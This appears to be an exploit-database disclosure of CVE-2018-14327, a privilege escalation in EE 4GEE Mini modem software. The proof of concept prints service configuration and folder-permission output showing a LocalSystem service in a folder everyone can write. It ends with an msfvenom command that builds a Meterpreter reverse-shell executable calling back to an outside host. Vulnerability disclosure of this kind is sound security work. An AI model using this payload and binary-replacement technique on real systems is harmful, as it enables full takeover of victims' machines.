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EE 4GEE Mini EE40_00_02.00_44 Privilege Escalation
2018.09.27
Credit:
Osanda Malith Jayathissa
Risk:
Medium
Local:
Yes
Remote:
No
CVE:
CVE-2018-14327
CWE:
CWE-264
CVSS Base Score:
9.3/10
Impact Subscore:
10/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
Complete
Integrity impact:
Complete
Availability impact:
Complete
# Title: EE 4GEE Mini EE40_00_02.00_44 - Privilege Escalation # Date: 2018-09-22 # Software Version: EE40_00_02.00_44 # Tested on: Windows 10 64-bit and Windows 7 64-bit # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Original Advisory: http://blog.zerodaylab.com/2018/09/zerodaylab-discovers-ee-unquoted.html # Original Write-up: https://osandamalith.com/2018/09/17/ee-4gee-mini-local-privilege-escalation-vulnerability-cve-2018-14327/ # CVE: CVE-2018-14327 # References # https://www.theregister.co.uk/2018/09/19/ee_modem_vuln/ # https://thehackernews.com/2018/09/4g-ee-wifi-modem-hack.html # PoC C:\>sc qc "Alcatel OSPREY3_MINI Modem Device Helper" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Alcatel OSPREY3_MINI Modem Device Helper TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Web Connecton\EE40\BackgroundService\ServiceManager.exe -start LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Alcatel OSPREY3_MINI Modem Device Helper DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Weak Folder Permissions C:\Program Files (x86)\Web Connecton>icacls EE40 EE40 Everyone:(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) Successfully processed 1 files; Failed processing 0 files C:\Program Files (x86)\Web Connecton> C:\Program Files (x86)\Web Connecton> C:\Program Files (x86)\Web Connecton>icacls EE40\BackgroundService EE40\BackgroundService Everyone:(OI)(CI)(F) Everyone:(I)(OI)(CI)(F) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) Successfully processed 1 files; Failed processing 0 files # Example Payload msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.4 lport=443 -f exe -o rev_shell.exe
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